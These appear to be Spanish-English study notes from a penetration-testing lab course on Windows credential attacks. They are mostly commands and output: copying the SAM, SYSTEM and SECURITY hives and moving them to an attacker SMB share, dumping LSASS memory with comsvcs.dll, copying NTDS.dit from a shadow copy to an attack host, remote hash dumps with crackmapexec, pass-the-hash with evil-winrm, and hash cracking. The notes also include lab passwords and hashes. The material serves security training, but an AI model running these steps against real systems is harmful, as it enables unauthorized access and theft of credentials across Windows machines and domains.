Windows Local Password Attacks

AttackingSAM

Registry Hive
Descripción

hklm\sam

Contiene los hashes asociados a las contraseñas de cuentas locales. Necesitaremos los hashes para poder descifrarlos y obtener las contraseñas de las cuentas de usuario en texto sin formato.

hklm\system

Contiene la clave de arranque del sistema, que se utiliza para cifrar la base de datos SAM. Necesitaremos la clave de arranque para descifrar la base de datos SAM.

hklm\security

Contiene credenciales almacenadas en caché para cuentas de dominio. Puede resultar beneficioso tener esto en un destino de Windows unido a un dominio.

Using reg.exe save to Copy Registry Hives

C:\WINDOWS\system32> reg.exe save hklm\sam C:\sam.save

The operation completed successfully.

C:\WINDOWS\system32> reg.exe save hklm\system C:\system.save

The operation completed successfully.

C:\WINDOWS\system32> reg.exe save hklm\security C:\security.save

The operation completed successfully.

Creating a Share with smbserver.py

sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py -smb2support CompData /home/ltnbob/Documents/

Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

Moving Hive Copies to Share

C:\> move sam.save \\10.10.15.16\CompData
        1 file(s) moved.

C:\> move security.save \\10.10.15.16\CompData
        1 file(s) moved.

C:\> move system.save \\10.10.15.16\CompData
        1 file(s) moved.

Dumping Hashes with Impacket's secretsdump.py

secretsdump.py -sam sam.save -security security.save -system system.save LOCAL

Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Target system bootKey: 0x4d8c7cff8a543fbf245a363d2ffce518
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:3dd5a5ef0ed25b8d6add8b2805cce06b:::
defaultuser0:1000:aad3b435b51404eeaad3b435b51404ee:683b72db605d064397cf503802b51857:::
bob:1001:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::
sam:1002:aad3b435b51404eeaad3b435b51404ee:6f8c3f4d3869a10f3b4f0522f537fd33:::
rocky:1003:aad3b435b51404eeaad3b435b51404ee:184ecdda8cf1dd238d438c4aea4d560d:::
ITlocal:1004:aad3b435b51404eeaad3b435b51404ee:f7eb9c06fafaa23c4bcf22ba6781c1e2:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] DPAPI_SYSTEM 
dpapi_machinekey:0xb1e1744d2dc4403f9fb0420d84c3299ba28f0643
dpapi_userkey:0x7995f82c5de363cc012ca6094d381671506fd362

Cracking Hashes with Hashcat

$ hashestocrack.txt

64f12cddaa88057e06a81b54e73b949b
31d6cfe0d16ae931b73c59d7e0c089c0
6f8c3f4d3869a10f3b4f0522f537fd33
hashcat -m 1000 hashestocrack.txt /usr/share/wordlists/rockyou.txt
❯ john --wordlist=/usr/share/wordlists/rockyou.txt hash-sam --format=NT

Remote Dumping & LSA Secrets Considerations

Dumping LSA Secrets Remotely

crackmapexec smb 10.129.42.198 --local-auth -u bob -p 'password' --lsa
❯ netexec smb 10.129.17.0 --local-auth -u bob -p 'HTB_@cademy_stdnt!' --sam

Dumping SAM Remotely

crackmapexec smb 10.129.42.198 --local-auth -u bob -p 'password' --sam

Attacking LSASS

LSASS es un servicio crítico que desempeña un papel central en la administración de credenciales y los procesos de autenticación en todos los sistemas operativos Windows.

Dumping LSASS Process Memory

Rundll32.exe & Comsvcs.dll Method

C:\Windows\system32> tasklist /svc

Image Name                     PID Services
========================= ======== ============================================
System Idle Process              0 N/A
System                           4 N/A
Registry                        96 N/A
smss.exe                       344 N/A
csrss.exe                      432 N/A
wininit.exe                    508 N/A
csrss.exe                      520 N/A
winlogon.exe                   580 N/A
services.exe                   652 N/A
lsass.exe                      672 KeyIso, SamSs, VaultSvc
svchost.exe                    776 PlugPlay
svchost.exe                    804 BrokerInfrastructure, DcomLaunch, Power,
                                   SystemEventsBroker
fontdrvhost.exe                812 N/A

Finding LSASS PID in PowerShell

PS C:\Windows\system32> Get-Process lsass

Handles   NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------          ------        -----              -----          ------          --  -- -----------
   1260         21          4948           15396       2.56       672   0 lsass

Creating lsass.dmp using PowerShell

PS C:\Windows\system32> rundll32 C:\windows\system32\comsvcs.dll, MiniDump 672 C:\lsass.dmp full

Using Pypykatz to Extract Credentials

pypykatz lsa minidump /home/peter/Documents/lsass.dmp

Cracking the NT Hash with Hashcat

sudo hashcat -m 1000 64f12cddaa88057e06a81b54e73b949b /usr/share/wordlists/rockyou.txt

Attacking Active Directory - NTDS.dit

Podemos crear nuestras listas manualmente o usar una automated list generatorherramienta basada en Ruby, como Username Anarchy, para convertir una lista de nombres reales en formatos de nombre de usuario comunes. Una vez que la herramienta se haya clonado en nuestro host de ataque local usando Git, podemos ejecutarla contra una lista de nombres reales como se muestra en el siguiente ejemplo de salida:

./username-anarchy -i /home/ltnbob/names.txt 
 crackmapexec smb 10.129.201.57 -u bwilliamson -p /usr/share/wordlists/fasttrack.txt

Capturing NTDS.dit

Connecting to a DC with Evil-WinRM

evil-winrm -i 10.129.201.57  -u bwilliamson -p 'P@55w0rd!'

Checking Local Group Membership

*Evil-WinRM* PS C:\> net localgroup

Aliases for \\DC01

-------------------------------------------------------------------------------
*Access Control Assistance Operators
*Account Operators
*Administrators
*Allowed RODC Password Replication Group
*Backup Operators
*Cert Publishers
*Certificate Service DCOM Access
*Cryptographic Operators
*Denied RODC Password Replication Group
*Distributed COM Users
*DnsAdmins
*Event Log Readers
*Guests
*Hyper-V Administrators
*IIS_IUSRS
*Incoming Forest Trust Builders
*Network Configuration Operators
*Performance Log Users
*Performance Monitor Users
*Pre-Windows 2000 Compatible Access
*Print Operators
*RAS and IAS Servers
*RDS Endpoint Servers
*RDS Management Servers
*RDS Remote Access Servers
*Remote Desktop Users
*Remote Management Users
*Replicator
*Server Operators
*Storage Replica Administrators
*Terminal Server License Servers
*Users
*Windows Authorization Access Group
The command completed successfully.

Queremos comprobar si la cuenta tiene derechos de administrador local. Para hacer una copia del archivo NTDS.dit, necesitamos derechos de administrador local ( Administrators group) o de administrador de dominio ( Domain Admins group) (o equivalentes). También queremos comprobar qué privilegios de dominio tenemos.

Checking User Account Privileges including Domain

*Evil-WinRM* PS C:\> net user bwilliamson

User name                    bwilliamson
Full Name                    Ben Williamson
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            1/13/2022 12:48:58 PM
Password expires             Never
Password changeable          1/14/2022 12:48:58 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   1/14/2022 2:07:49 PM

Logon hours allowed          All

Local Group Memberships
Global Group memberships     *Domain Users         *Domain Admins
The command completed successfully.

Esta cuenta tiene derechos de administrador y de administrador de dominio, lo que significa que podemos hacer casi todo lo que queramos, incluso hacer una copia del archivo NTDS.dit.

Creating Shadow Copy of C:

*Evil-WinRM* PS C:\> vssadmin CREATE SHADOW /For=C:

vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001-2013 Microsoft Corp.

Successfully created shadow copy for 'C:\'
    Shadow Copy ID: {186d5979-2f2b-4afe-8101-9f1111e4cb1a}
    Shadow Copy Volume Name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2

Copying NTDS.dit from the VSS

*Evil-WinRM* PS C:\NTDS> cmd.exe /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\NTDS\NTDS.dit c:\NTDS\NTDS.dit

        1 file(s) copied.

Transferring NTDS.dit to Attack Host

*Evil-WinRM* PS C:\NTDS> cmd.exe /c move C:\NTDS\NTDS.dit \\10.10.15.30\CompData 

        1 file(s) moved.		

A Faster Method: Using cme to Capture NTDS.dit

crackmapexec smb 10.129.201.57 -u bwilliamson -p P@55w0rd! --ntds
❯ netexec smb 10.129.202.85 -u jmarston -p 'P@ssword!' --ntds

Cracking Hashes & Gaining Credentials

sudo hashcat -m 1000 64f12cddaa88057e06a81b54e73b949b /usr/share/wordlists/rockyou.txt

64f12cddaa88057e06a81b54e73b949b:Password1

Pass-the-Hash Considerations

Todavía podemos usar hashes para intentar autenticarnos con un sistema mediante un tipo de ataque llamado Pass-the-Hash( PtH). Un ataque PtH aprovecha el protocolo de autenticación NTLM para autenticar a un usuario mediante un hash de contraseña. En lugar de username: clear-text passwordcomo formato para iniciar sesión, podemos usar username: password hash. A continuación, se muestra un ejemplo de cómo funcionaría esto:

Pass-the-Hash with Evil-WinRM Example

evil-winrm -i 10.129.201.57  -u  Administrator -H "64f12cddaa88057e06a81b54e73b949b"

Credential Hunting in Windows

Lazagne All

Podemos aprovechar herramientas de terceros como Lazagne para descubrir rápidamente las credenciales que los navegadores web u otras aplicaciones instaladas pueden almacenar de forma insegura. Sería beneficioso mantener una copia independiente de Lazagne en nuestro host de ataque para que podamos transferirla rápidamente al objetivo. Lazagne.exefuncionará perfectamente para nosotros en este escenario.

C:\Users\bob\Desktop> start lazagne.exe all

Using findstr

C:\> findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml *.git *.ps1 *.yml

Last updated